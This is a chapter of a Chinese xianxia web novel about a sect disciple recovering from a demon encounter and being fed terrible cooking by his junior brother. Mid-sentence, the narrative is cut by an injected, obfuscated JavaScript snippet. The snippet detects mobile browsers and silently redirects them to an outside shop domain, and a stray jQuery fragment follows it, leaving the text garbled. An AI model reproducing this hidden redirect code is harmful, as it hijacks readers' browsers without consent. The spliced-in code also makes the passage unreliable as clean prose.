贺亭瞳清醒后,第二日便被宗主唤去大殿询问。
关于寒山境内发生的事,他也还是原来那套说辞,是他修为不精,未能诛杀妖魔,也没能保护好师弟,惭愧不已,甘愿领罚。
他孤身站在空荡荡的大殿里,身上缠着绷带,脸色惨白,垂着一双眼,摇摇欲坠。
宗主看着自己的小弟子,叹了口气,“这怎么能怪你?五境妖魔根本不是你这个修为能处理的,保下一条命来已是侥幸。”
“如今身体感觉如何?”
贺亭瞳摸摸胸口,“宋师叔照顾的仔细,再过上几日应当就能愈合了。”
“那就好。”宗主松了一口气,强调道:“还有两月便是青云初试,俱北州前往云州路途遥远,下月起你们便要准备出发事宜,时间紧凑,你需得好好休养,切不能再出什么岔子。”
贺亭瞳点头称是,木讷且乖巧。
青云试,这是近些年仙盟搞出来的东西,由五宗牵线,世家出钱,在云州建立的一座书院。意在搜罗九州人才,培养新一代修真界翘楚。
往年是只收那些大宗,世家,皇族里的天之骄子,这两年招生范围扩散,连偏远小门派都有了入学资格。
玉衡宗今年就分到了三个名额。
不过云州书院只要年龄在十五以上,三十五以下的,玉衡宗内门弟子里就只有贺亭瞳和云止符合,剩下一个名额,听说是打算在宗门内做场小试,选一个外门的跟着去。
当然,这也只是一张入场券,真要入学,还得过了初试,复试,终试,三关俱过,才能有入院学习的资格。
宗主非常看中这次机会,玉衡宗地处偏远,灵脉稀薄,宗门传承算不得多厉害,门中弟子修为也是稀松平常,近些年全靠着些许旧产业苦苦支撑,若是有弟子入了青云书院,得了某位大佬的传承,那对于他们这种末流门派来说,无异于一飞冲天。
宗主岁过两百,早年又受了暗伤,近几年修为不得寸进,已经显出老态。而云止才十六岁,性子又天真无邪,再不历练起来,玉衡宗怕是撑不过下一个百年了。
宗主又关怀了贺亭瞳几句,这才让他下去休息了。
贺亭瞳出门时发现外头竟然站着他们的大师兄,风尘仆仆,像是刚从很远的地方赶回来。师兄弟两人年岁相差甚大,又都是沉默寡言的性格,点点头便算是打了招呼,然后错身离开。
“查到那只五境妖魔的踪迹没有?”
大殿内,宗主捏着眉心,神色疲惫。
“并未。”大师兄生的壮硕,五大三粗,穿着弟子袍看起来也像个打猎的,他皱着眉头,神色凝重,“而且现场和贺师弟说的一样,有雪崩的痕迹。”
“雪崩……山那边怕是出了事。”宗主有些颓然地靠在了椅背上,抬眼看向殿门外。
玉衡宗主殿在山巅,此处高而险,穿透层层云雾,可以看见更北方,那道更为巍峨的屏障。
青苍无垠的山脉如同巨龙的背脊,蜿蜒而过,遮天蔽日。
寒山境,一道壁垒般的山脉,将九州与魔界割离,亦是人间的第一道防护线。二十八座高峰组成的复杂山群,将魔族的视线隔绝在外,其中的杀阵又阻拦了他们入侵的脚步。
这里很多年没有出现过高阶妖魔了,也不应该出现高阶妖魔。五境,一个很微妙的等级,对于魔族来说,算不上高,和畜牲没两样,但出现在寒山境,就不太正常。
“难道是魔族又有异动了?”他沉思,而后吩咐下去,“必须将那只五境妖魔的去向查清楚,寒山境也要加强巡防。”
若是魔族再攻寒山境,如今的玉衡宗可受不起冲击了。
大师兄一一应下,却并不离开,宗主瞧他一眼,随后默契地关拢殿门,又设下了隔音咒。
“说吧,在山上看到什么了?”
“师父,我在山顶捡到一个东西。”他上前数步,自怀中抽出一片薄如蝉翼的纱递了上去,布片像是从什么地方扯下来的,暗光下也浮动着瑰丽的珠光。
鲛绡,南海的产物,极为珍贵,常供给世家贵族,给那些少爷小姐们做衣裙。云止就有一件鲛绡做的罩衣,花了重金拍来的,故而宗主认得出材质。
此物要是出现在云州,中州那些地方倒是正常,可这是寒山境,荒僻又危险,百年来几乎没有什么生人上去过,更何况还穿这种名贵的衣服。
“这是……”
“还有打斗的痕迹。”大师兄咽了咽口水,“我去时已是十日之后,可山中仍有残存的剑气,观其剑意,修为怕是在……十三境往上。”
宗主骇然。
如今修真界,九境既为尊,十三境……放眼整个俱北州也凑不出一个十境往上的,这种修为的剑师,唯有仙宗和世家那群人里面养出来的怪物。
“此事不可再提。”宗主迅速做出反应,“这鲛绡也毁了吧,你就当没上过山,也没看见过这些东西。”
“是。”
师徒二人的悄悄话,消失在重重禁制之中。
贺亭瞳蹲在药庐的杂物间里掏掏,从里面掏出一把断成三截的配剑,一套被血泡的变色的衣服,以及一根雪青色的发带。
他将发带取出来,是鲛绡做的东西,可惜沾了血,半截带子都是红的,没了那种波光粼粼的通透感。
贺亭瞳不知道自己是怎么重生的,唯一的线索就是醒来后手腕上缠着的这条发带,像是他从谁身上拽下来的。
也算是个凭证。
他将其他破烂重新丢回筐子,发带却取了下来,塞进怀里。
伤势大好后,他也不好赖在药庐混吃混喝,便重新搬回了自己的房子里。
他住的偏僻,但胜在幽静,一个多月没回来,小房子里都落了一层灰。从外头抓了几个小弟子进来做苦力,指挥着他们花了一上午的时间将屋子里里外外仔细打扫一回,他则躺在摇椅里,看他们之前做的课业,若是发现其中的错处了,就将人叫过去纠正。
如此房子也弄干净了,课业也补上了,实在是两全其美。
只是那群小少年苦哈哈的卖了力气,又耗了脑子,三五个横尸在他门前,仿佛被吸干了精气。
还不等他们安静的躺上一躺,就有人找上门来。
“小师兄,”云止推开大门,手里提着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128035|149926||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一个食盒,看着屋内景象有些讶然,随后落寞地走进来,“你还伤着,怎么就搬回来了?也不同我说一声,我也好来帮忙。”
贺亭瞳坐在摇椅上,柔弱地咳嗽两声,露出个羞涩的笑,“你做客还来不及,怎么好意思让你打扫?”
“来,小师弟,喝水。”
云止接过茶盏,小小抿了一口,随后便将食盒重重放在桌上,眼睛重新亮起来,“小师兄,你受了伤,需要多补补,你快来看我给你做了什么好东西!”
贺亭瞳试图婉拒,按住云止掀盒子的手,“是你亲自做的吗?那一定很辛苦吧?我一点小伤,什么都没做,受之有愧。”
“不辛苦,不辛苦。”云止的笑容纯良,“小师兄你试试看味道。”
云止一把掀开食盒,露出里面的菜色。搬来的食盒里全是他自己亲手做的汤汤水水,糕糕饼饼,玉衡宗的少宗主有一副“好心肠”,和一手“好厨艺”。
贺亭瞳倒吸一口凉气,夸奖了一句,“匠心独具。”
如此好事当然不能独享,贺亭瞳自然要分享给在场的所有人。
于是他很惊喜的哇了一声,成功把那群累的要死的小苦力们吸引过来,然后指着那满满一盒子的食物分配道,“这是少宗主的一片好心,你们也来多吃一点。”
众人:“………”
本想拒绝,又撞上了云止憧憬不已的眼神。
他们捏着那色香味俱无的糕点,一边夸着云止心灵手巧,一边含泪吞下去。
“陈思问,你哭什么?”
“真、好、吃、啊!呜呜呜呜。”少年人泪流满面,捡起一块糕饼塞旁边人嘴里,“越之恒你也试试。”
“呕……呜呜呜呜,我从来没吃过这么好吃的东西,好兄弟一定要多分享,你多吃点!”
“你多吃点!”
庭院里顿时听取呜声一片。
贺亭瞳默默看戏,直到云止也捻了块桃花糕递过来,满目希冀,“小师兄尝尝这个,这个味道最好。”
本想拒绝,目光却忽然瞥见一道阴沉沉的身影,站在他大门外,表情幽暗,像道鬼魅的影子。
沈奚垣啊。
贺亭瞳视线若无其事在那处角落里停了一停,随后就着云止的手,咬了一点边角。他们贴的极近,呼吸也近,从外人来看,是个有些暧昧的角度。
舌尖绽开一股糊味儿,里头的糖也没化开,他若无其事的忽略掉,冲着云止笑,“真好吃,你也尝尝。”
云止毫无阴霾地咬过贺亭瞳啃的糕饼,仿佛没有味觉般点头,“我也觉得。”
贺亭瞳笑,“所以不能藏私,应该送去给师父,师兄们都尝尝。”
他抬起手像幼时那样摸摸云止的脑袋,“毕竟我家师弟最好了。”
云止脸红了。
门外忽然轰隆一声巨响,等他们出去,就发现院子外的厚实大门有些弯折,像是什么重物撞在上面了。
“这是怎么回事?”众人惊惧不已。
“可能是山上的野猪吧。”贺亭瞳撑着头,慢悠悠的解释,“天气冷,看不见路,撞门上了,不用管他。”